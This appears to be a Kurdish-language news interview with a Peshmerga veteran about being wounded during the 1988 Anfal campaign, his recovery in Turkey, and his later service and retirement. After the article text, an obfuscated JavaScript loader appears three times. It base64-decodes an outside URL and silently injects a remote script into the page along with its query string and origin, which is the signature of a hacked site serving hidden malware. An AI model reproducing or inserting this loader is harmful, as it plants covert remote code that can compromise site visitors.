دیدار: رەمەزان دەشتمری/ زاخۆ
پێشمەرگەیێ شۆرەشا گولانێ و شەهیدێ زێندی ( حەسەن سۆفی محەمەد) خیزاڤایی، یێ بەرنیاس ب ( حەسەن گولی ) ل دەمێ ئەنفالا ڕەش یا سالا 1988ێ د شەڕەگێ قورس و گران دا برینداردبت.
حەسەن سۆفی خیزاڤایی تایبەت بۆ رۆژناما ئەڤرۆ دبێژیت: ل سالا 1986ێ من پەیوەندی ب ناڤ ڕێزێن شوڕەشا 26ێ گولانا پێشكەفتنخواز دا كر و ل سنێ لیژنا ناوچا زاخۆ دگەل ڕێكخروا شەهید (شەهباز سالح) بیمە پێشمەرگە و سالا 1987ێ ژ ڕێكخراوا شەهید شەهباز سالح بۆ ڕێكخروا (عەینزالا ) هاتیمە ڤەگوهاستن، و ل دەسپێكا سالا 1988ێ دگەل هژمارەكا پێشمەرگێن كوردستانێ ئەم بۆ ڕۆژهەلاتا كوردستانێ چووین، ب مەرەما پشكداریا د خولەكا ئەندازەیاریا ( هندسە عسكریە) دا، و ل دەمێ ئەنفالا ڕەش ل سالا 1988ێ ب سەر دەڤەرێ دا هاتی، و حكومەتا ئیراقێ ب ئینانا لەشكرەكێ زۆر ل گەل فەوجێن جاشا كو پێكڤە هێرشێ دەڤەرێ بكەن، د ئەنجامدا چەند گوند هاتنە سوتن و تالانكرن، و ل ڕۆژا 1/9/1988ێ سەروكێ هێژا كاك مەسعود بارزانی بڕیاردا , كو مەرەزەكا پێشمەرگەیی بۆ دەڤەرا لقێ ئێك بهێتە هنێرن و بلەز ڕەوانە بكەن، ژبەر كو حكومەتا ئیراقێ وەسا تەخمین دكر دەڤەر ژ هەبوونا پێشمەرگەیی یا هاتیە چوولكرن، و شۆڕەشا 26ێ گولانێ تێكچوویە.
و پێشمەرگەیێ ماندونەنیاس حەسەنی خیزاڤایی گوت: ئەم هژمارا بیست پێشمەرگەیان ب سەرپەرشتییا شەهید ( فەتاح گولی و شەهید محەمەد حەمدی وەرمێلی و هەڤال قادر قاچاخ ) ی بۆ دەڤەرا لقێ ئێك هاتین، و ئەركێن خۆ مە پێكڤە ئەنجامددان و ل ڕۆژا 4/9/1988ێ مەفرەزا مە یا پێشمەرگەیان ئەم گەهشتینە گوندێ شەت یونسێ، و ل وێری بەرهنگاری عەسكەرێ حكومەتا ئیراقێ بووین، و پشتی شەرەكێ ئێكجار زۆر ناڤەا پێشمەرگەیی و عەسكەرێ ئیراقێ دا روویدایی، ئەز ب دژواری بریندار بووم، و پێشمەرگەیەك ب ناڤێ ( عادل ئاڤدەل) سندی خەلكێ گوندێ ئاڤگەنییێ دوی شەڕی دا شەهید دبوو , بەلێ ل دووماهییێ هەر پێشمەرگە د ڤی شەڕی دا سەركەفتن و حكومەتا ئیراقێ ژی نەشییان پێشڤە بچن و شكەستن خوارن. و ڤڕین و جەنازێ شەهید (عادل ئاڤدەل) ژی ل گوندێ ساتێ ل دەڤەرا دوسكی ژوورییا هاتە ب خاك سپاردن.
پێشمەرگەیێ شۆرەشا گولانێ هەروەسا خویاكر: ژبەر دژوارییا برینا لەشێ من ژی ئەز هاتم ڤەگوهاستن بۆ نەخوشخانا باژێڕێ جولەمێرگێ و ل وی دەمی دا خێزان و مالباتا من ژی بۆ ناڤ ئاخا توركیا هاتبوون، و ل كەمپا دیار بەكرێ دا ئاكنجی دبن، و ژ نەخوشخانا باژێڕێ جولەمێرگێ بۆ نەخوشخانا باژێڕێ دیاربەكرێ دا هاتم ڤەگوهاستن، بەلێ پشتی چارەسەریا برینێت لەشێ من ب دروستی هاتینە كرن، دوڤدا ئەز هاتم دناڤ كەس و كارێن خوە و ل كەمپا دیاربەكرێ، بۆ دەمەكی ئەز مام ل وێرێ.
پێشمەرگە (حەسەن گولی) شەهیدێ زێندی هەروەسا گوت: ل سالا 1990ێ جارەكا دیتر ژ كەمپا دیاربەكرێ ب قەچاخی بۆ ڕۆژهەتا كوردستا نێ چووین، چونكی من بڕیار دا بوو بەردەوامییێ ب خزمەتا پێشمەرگایەتییێ بدم، و دەمێ ئەز گەهشتیم بارەگایێ مەكتەبا سیاسی سەروكێ هێژا كاك مەسعود بارزانی گوتە من : ت ب وە شەهیدێ زێندوی و تازە ژ چارەسەرییا بریندارییێ رابی دێ چەوا شێ بەردەوامییێ ب خزمەتا پێشمەرگایەتییێ دەی، و من ژی گوتێ : جەنابێ سەروكی هێژا هندی من شییان هەبن دێ خزمەتا گەل و وەلاتێ خۆە كم و ئەركێن ل سەر ملێن مە دێ ب دلسوزی ئەداكین، و ل دەسپێكا سەرهلدانا بهارا سالا 1991ێ ژی وەك پێشمەرگە ئەم هاتین بۆ دەڤەرێ و مە بەردەوامی دا خزمەتا پێشمەرگایەتییێ، هەتا سالا 2011ێ و لدویڤ بڕیارا وەزارەتا پێشمەرگەیی ب پلەیا ( عەریف ) وەك شەهیدی زیندی یێ سەنگەری هاتیمە خانەنشینكرن.
و ل دووماهییێ پێشمەرگەیێ چاڤنەترس ( حەسەن سۆفی محمەد گولی ) گۆت: بەێ تشتێ بۆ من هەرە نەخوەش و پێ دلگرانبیم پلەیا ب ناڤێ ( عەریف ) ی پێ هاتیمە خانەنشینكرن و من هەمی بزاڤكرن و گەلەك بزاڤ هاتنە ژ بۆ راستڤەكرنا وێ پلەیێ و پلەیەكا باشتر بدن من لدویف خزمەت و خەباتا من یا چەندین سالا مە بوراندی ژ بۆ ئازادییا كوردستانێ لێ من نەشییا ئەڤی پلەیا ناڤێ عەریفی لبەر ناڤێ خۆە ب چ رەنگا ڕاكەم، و بەلێ هەر دێ مینم دلسوزێ رێبازا بابێ مەزن بارزانییێ نەمر، و بەرەڤانییێ ژ مافێن گەلێ مە بكەم و لسەر هەمێ گل و گازندان ژی هەر دمینم پێشمەرگەیەكی نیشتیمان پەروەر د وەلاتی دا.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
نيشاندان